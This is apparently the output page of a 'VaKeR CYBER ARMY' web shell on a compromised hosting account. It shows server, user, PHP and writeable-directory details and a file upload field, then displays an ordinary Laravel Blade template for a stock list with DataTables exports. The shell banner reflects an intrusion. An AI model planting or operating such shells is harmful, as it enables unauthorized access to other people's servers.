VaKeR CYBER ARMY
Logo of a company Server : Apache
System : Linux host44.registrar-servers.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
User : vapecompany ( 2719)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /home/vapecompany/demo.vapecompany.com.bd/resources/views/backend/stock/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/vapecompany/demo.vapecompany.com.bd/resources/views/backend/stock/list.blade.php
@extends('backend.layout.app')
@section('content')

        <!-- ============================================================== -->
        <!-- Page wrapper  -->
        <!-- ============================================================== -->
        <div class="page-wrapper">
            <!-- ============================================================== -->
            <!-- Bread crumb and right sidebar toggle -->
            <!-- ============================================================== -->
            <div class="page-breadcrumb">
                <div class="row">
                    <div class="col-5 align-self-center">
                        <h4 class="page-title">Stock In List</h4>
                        <div class="d-flex align-items-center">
                            <nav aria-label="breadcrumb">
                                <ol class="breadcrumb">
                                    <li class="breadcrumb-item"><a href="#">Home</a></li>
                                    <li class="breadcrumb-item active" aria-current="page">Stock In</li>
                                </ol>
                            </nav>
                        </div>
                    </div>

                </div>
            </div>
            <!-- ============================================================== -->
            <!-- End Bread crumb and right sidebar toggle -->
            <!-- ============================================================== -->
            <!-- ============================================================== -->
            <!-- Container fluid  -->
            <!-- ============================================================== -->
            <div class="container-fluid">
                <!-- ============================================================== -->
                <!-- Start Page Content -->
                <!-- ============================================================== -->
                <div class="row">
                    <div class="col-12">


                        <!-- Column -->
                        <div class="card">
                            <div class="card-body table-responsive-sm table-responsive-md">
                                <h4 class="card-title">Stock In  List</h4>
                                <!-- <h6 class="card-subtitle">Data table example</h6> -->
                                <table id="dtables" class="table table-striped table-bordered nowrap">


                                </table>
                            </div>
                        </div>
                    </div>
                </div>
                <!-- ============================================================== -->
                <!-- End PAge Content -->
                <!-- ============================================================== -->
                <!-- ============================================================== -->
                <!-- Right sidebar -->
                <!-- ============================================================== -->
                <!-- .right-sidebar -->
                <!-- ============================================================== -->
                <!-- End Right sidebar -->
                <!-- ============================================================== -->
            </div>
            <!-- ============================================================== -->
            <!-- End Container fluid  -->
            @endsection
             @section('script')

             <script src="https://cdn.datatables.net/1.10.22/js/jquery.dataTables.min.js"></script>
              <script src="https://cdn.datatables.net/1.10.22/js/dataTables.bootstrap4.min.js"></script>
            <script src="https://cdn.datatables.net/responsive/2.2.6/js/dataTables.responsive.min.js"></script>
            <script src="https://cdn.datatables.net/responsive/2.2.6/js/responsive.bootstrap4.min.js"></script>
            <script src="https://cdn.datatables.net/buttons/1.6.5/js/dataTables.buttons.min.js"></script>
            <script src="https://cdn.datatables.net/buttons/1.6.5/js/buttons.bootstrap4.min.js"></script>
            <script src="https://cdn.datatables.net/buttons/1.6.4/js/buttons.print.min.js"></script>


            <script src=" https://cdnjs.cloudflare.com/ajax/libs/jszip/3.1.3/jszip.min.js"></script>
            <script src="https://cdnjs.cloudflare.com/ajax/libs/pdfmake/0.1.53/pdfmake.min.js"></script>
            <script src="https://cdnjs.cloudflare.com/ajax/libs/pdfmake/0.1.53/vfs_fonts.js"></script>
<script src="{{url('public/backend/js/buttons.html5.js')}}"></script>
            <!--<script src="https://cdn.datatables.net/buttons/1.2.3/js/buttons.html5.js"></script>-->

             <script type="text/javascript">



                var logo="";
            function getData(cb_func) {

                $.ajax({
                    "url": "{{route('admin/all_stock')}}",
                    "type": "POST",
                    data:{logo:logo},
                    success: cb_func
                });
                return "hi";
            }
            $(document).ready(function() {
                function resultTable(){
                    getData(function( data) {
                    //console.log(data);
                    var columns = [];
                    var colw=['2%','5%','6%','5%','5%','5%','11%','5%','12%'];
                    var colle=[];
                    data = JSON.parse(data);
                    columnNames = Object.keys(data.data[0]);
                    for (var i in columnNames) {
                      columns.push({data: columnNames[i],
                                    title: columnNames[i]});
                        if(i > 8 && i < columnNames.length-1){
                            colw.push((44/(columnNames.length-9))+'%')
                        }
                        if(i < columnNames.length-1){
                            colle.push(i);
                        }
                    }


                    $('#dtables').DataTable( {
                        "lengthMenu": [[10, 50, 100,250,500,1000,-1], [10, 50, 100,250,500,1000,'All']],
                    scrollX: true,
                   "dom": '<"dt-buttons"Bf><"clear">lirtp',
                    "paging": true,
                    "autoWidth": true,
                    "pageLength": 10,
                    buttons: [

                        {
                            extend: 'excel',
                            title: 'Stock In List',
                            exportOptions: {
                                columns: colle
                            }
                            ,customize: function (xlsx) {

                                var sheet = xlsx.xl.worksheets['sheet1.xml'];
                               // console.log(sheet);
                                var colRange = sheet.getElementsByTagName('col').length - 1;
                                //var colRange = createCellPos( lastCol ) + '1';
                                var numrows = 5;
                                var clR = $('row', sheet);

                                //update Row
                                clR.each(function () {
                                    var attr = $(this).attr('r');
                                    var ind = parseInt(attr);
                                    ind = ind + numrows;
                                    $(this).attr("r",ind);
                                });

                                // Create row before data
                                $('row c ', sheet).each(function () {
                                    var attr = $(this).attr('r');
                                    var pre = attr.substring(0, 1);
                                    var ind = parseInt(attr.substring(1, attr.length));
                                    ind = ind + numrows;
                                    $(this).attr("r", pre + ind);
                                });

                                function Addrow(index,data, colRange, sheet) {
                                    msg='<row r="'+index+'">'
                                    for(i=0;i<data.length;i++){
                                        var key=data[i].key;
                                        var value=data[i].value;
                                        var style=data[i].style;
                                        mergeCells( index, colRange, sheet );
                                        msg += '<c t="inlineStr" s="'+ style +'" r="' + key + index + '">';
                                        msg += '<is>';
                                        msg +=  '<t>'+value+'</t>';
                                        msg+=  '</is>';
                                        msg+='</c>';
                                    }
                                    msg += '</row>';
                                    return msg;
                                }

                                var mergeCells = function ( row, colspan, sheet ) {
                                     //console.log(sheet);
                                    var mergeCells = $('mergeCells', sheet);
                                    //console.log(mergeCells);

                                    mergeCells[0].appendChild( _createNode( sheet, 'mergeCell', {
                                        attr: {
                                            ref: 'A'+row+':'+createCellPos(colspan)+row
                                        }
                                    } ) );
                                    //mergeCells.attr( 'count', mergeCells.attr( 'count' )+1 );
                                    //$('row:eq('+(row-1)+') c', sheet).attr( 's', '51' ); // centre
                                };

                                function createCellPos( n ){
                                    var ordA = 'A'.charCodeAt(0);
                                    var ordZ = 'Z'.charCodeAt(0);
                                    var len = ordZ - ordA + 1;
                                    var s = "";

                                    while( n >= 0 ) {
                                        s = String.fromCharCode(n % len + ordA) + s;
                                        n = Math.floor(n / len) - 1;
                                    }

                                    return s;
                                }
                                function _createNode( doc, nodeName, opts ) {
                                    var tempNode = doc.createElement( nodeName );

                                    if ( opts ) {
                                        if ( opts.attr ) {
                                            $(tempNode).attr( opts.attr );
                                        }

                                        if ( opts.children ) {
                                            $.each( opts.children, function ( key, value ) {
                                                tempNode.appendChild( value );
                                            } );
                                        }

                                        if ( opts.text !== null && opts.text !== undefined ) {
                                            tempNode.appendChild( doc.createTextNode( opts.text ) );
                                        }
                                    }
                                    return tempNode;
                                }

                                //insert
                                var r1 = Addrow(1, [{ key: 'A', value: '{{$companyInfo ? $companyInfo->company_name: "MAKTEL LIMITED"}}', style: '51' }], colRange, sheet);
                                var r2 = Addrow(2, [{ key: 'A', value: '{{$companyInfo ? $companyInfo->company_address : "House-277(Level-4),Lane-4,Baridhara DOHS,Dhaka-1206."}}', style: '51' }], colRange, sheet);
                                var r3 = Addrow(3, [{ key: 'A', value: 'Hotline: +{{$companyInfo ? $companyInfo->company_phone: "88 01844241530"}}', style: '51' }], colRange, sheet);
                                var r4 = Addrow(4, [{ key: 'A', value: 'Email: {{$companyInfo ? $companyInfo->company_email : "info@maktel.com.bd"}}', style: '51' }], colRange, sheet);
                                var r5 = Addrow(5, [{ key: 'A', value: 'Web: {{$companyInfo ? $companyInfo->company_website : "www.maktel.com.bd"}}', style: '51' }], colRange, sheet);
                                 var mergeCells = $('mergeCells', sheet);
                                //console.log(mergeCells);

                                mergeCells[0].appendChild( _createNode( sheet, 'mergeCell', {
                                    attr: {
                                        ref: 'A6:D6'
                                    }
                                } ) );

                                sheet.childNodes[0].childNodes[1].innerHTML = r1 + r2+ r3+ r4+ r5+ sheet.childNodes[0].childNodes[1].innerHTML;



                            }

                        },

                        {
                          text: 'PDF',
                            extend: 'pdfHtml5',
                            filename: 'Stock In List',
                            orientation: 'landscape', //portrait
                            pageSize: 'legal', //A3 , A5 , A6 , legal , letter
                            exportOptions: {
                                 columns: colle,
                                search: 'applied',
                                order: 'applied'
                            },
                            customize: function (doc) {
                                //Remove the title created by datatTables
                                doc.content.splice(0,1);
                                //Create a date string that we use in the footer. Format is dd-mm-yyyy
                                var now = new Date();
                                var jsDate = now.getDate()+'-'+(now.getMonth()+1)+'-'+now.getFullYear();
                                // Logo converted to base64


                                doc.pageMargins = [20,120,20,30];
                                // Set the font size fot the entire document
                                doc.defaultStyle.fontSize = 7;
                                // Set the fontsize for the table header
                                doc.styles.tableHeader.fontSize = 7;
                                doc.styles.tableBodyOdd.fillColor = "#fff";
                                doc.styles.tableBodyOdd.alignment = "center";
                                doc.styles.tableBodyEven.alignment = "center";
                                // Create a header object with 3 columns
                                // Left side: Logo
                                // Middle: brandname
                                // Right side: A document title
                                //console.log(Array(doc.content[0].table.body[0].length + 1).join('*').split(''));
                               doc.content[0].table.widths =colw;
                                doc['header']=(function() {
                                    return {

                                        columns: [
                                            {
                                                image: data.logo,
                                                 width: 120,
                                                height:30
                                            },
                                            {
                                                alignment: 'center',

                                                text: '{{$companyInfo ? $companyInfo->company_name: "MAKTEL LIMITED"}}\n{{$companyInfo ? $companyInfo->company_address : "House-277(Level-4),Lane-4,Baridhara DOHS,Dhaka-1206."}}\nHotline:+{{$companyInfo ? $companyInfo->company_phone: "88 01844241530"}}\nEmail:{{$companyInfo ? $companyInfo->company_email : "info@maktel.com.bd"}}\nWeb:{{$companyInfo ? $companyInfo->company_website : "www.maktel.com.bd"}}\n Title: Stock In List',
                                                fontSize: 15,
                                                margin: [0,0]
                                            },


                                        ],

                                        margin: 10
                                    }
                                });

                                // Create a footer object with 2 columns
                                // Left side: report creation date
                                // Right side: current page and total pages
                                doc['footer']=(function(page, pages) {
                                    return {
                                        columns: [
                                            {
                                                alignment: 'left',
                                                text: ['Created on: ', { text: jsDate.toString() }]
                                            },
                                            {
                                                alignment: 'right',
                                                text: ['page ', { text: page.toString() },  ' of ', { text: pages.toString() }]
                                            }
                                        ],
                                        margin: 20
                                    }
                                });
                                // Change dataTable layout (Table styling)
                                // To use predefined layouts uncomment the line below and comment the custom lines below
                                // doc.content[0].layout = 'lightHorizontalLines'; // noBorders , headerLineOnly
                                var objLayout = {};
                                objLayout['hLineWidth'] = function(i) { return .5; };
                                objLayout['vLineWidth'] = function(i) { return .5; };
                                objLayout['hLineColor'] = function(i) { return '#aaa'; };
                                objLayout['vLineColor'] = function(i) { return '#aaa'; };
                                objLayout['paddingLeft'] = function(i) { return 4; };
                                objLayout['paddingRight'] = function(i) { return 4; };
                                doc.content[0].layout = objLayout;
                            }
                        },
                        {
                            extend: 'print',
                            exportOptions: {
                                columns: [ 0, 1, 2, 3,4,5,6,7,8,9,10,11,12,13,14,15,16]
                            },
                            //autoPrint: false,
                            title: '',
                             customize: function (doc) {
                                var now = new Date();

                                $(doc.document.body)

                                    .prepend('<img style="position:absolute; top:10; left:20;height:100px;" src="{{$companyInfo ? $companyInfo->company_logo ? url('public/images/company/'.$companyInfo->company_logo): url('/public/images/text_logo.png') : url('/public/images/text_logo.png')}}">')
                                    .prepend('<div style="text-align:center"><h2 class="name">{{$companyInfo ? $companyInfo->company_name: "MAKTEL LIMITED"}}</h2><div>{{$companyInfo ? $companyInfo->company_address : "House-277(Level-4),Lane-4,Baridhara DOHS,Dhaka-1206."}}</div><div>Hotline:+{{$companyInfo ? $companyInfo->company_phone: "88 01844241530"}}</div><div>Email:{{$companyInfo ? $companyInfo->company_email : "info@maktel.com.bd"}}</div><div>Web:{{$companyInfo ? $companyInfo->company_website : "www.maktel.com.bd"}}</div><div>Title: Stock In List</div></div>');
                                     $(doc.document.body).find('table').css('text-align','center');


                                    $(doc.document.body).find('th').each(function(index){
                                        $(this).attr('width',parseInt(100/$(doc.document.body).find('th').length)+'%');
                                      $(this).css('color','#fff');
                                        console.log(this);
                                      $(this).css('font-size','18px');

                                      $(this).css('background-color','blue');
                                });
                            },


                        },
                    ],
                        data: data.data,
                        columns: columns
                    } );
                });
                }

               function getBase64FromImageUrl(url) {

                    var img = new Image();
                    img.crossOrigin = "anonymous";
                     img.src = "{{$companyInfo ? $companyInfo->company_logo ? url('public/images/company/'.$companyInfo->company_logo): url('/public/images/text_logo.png') : url('/public/images/text_logo.png')}}";
                    img.onload = function () {
                        var canvas = document.createElement("canvas");
                        canvas.width =this.width;
                        canvas.height =this.height;
                        var ctx = canvas.getContext("2d");
                        ctx.drawImage(this, 0, 0);
                        //console.log(this.src);
                        var dataURL = canvas.toDataURL("image/png");
                        var res= dataURL.replace(/^data:image\/(png|jpg);base64,/, "data:image/jpeg;base64,/");
                     //console.log(dataURL);
                      logo=dataURL;
                       resultTable();
                        return res;
                    };


                }
                getBase64FromImageUrl('');

            });

            </script>
            @endsection

VaKeR 2022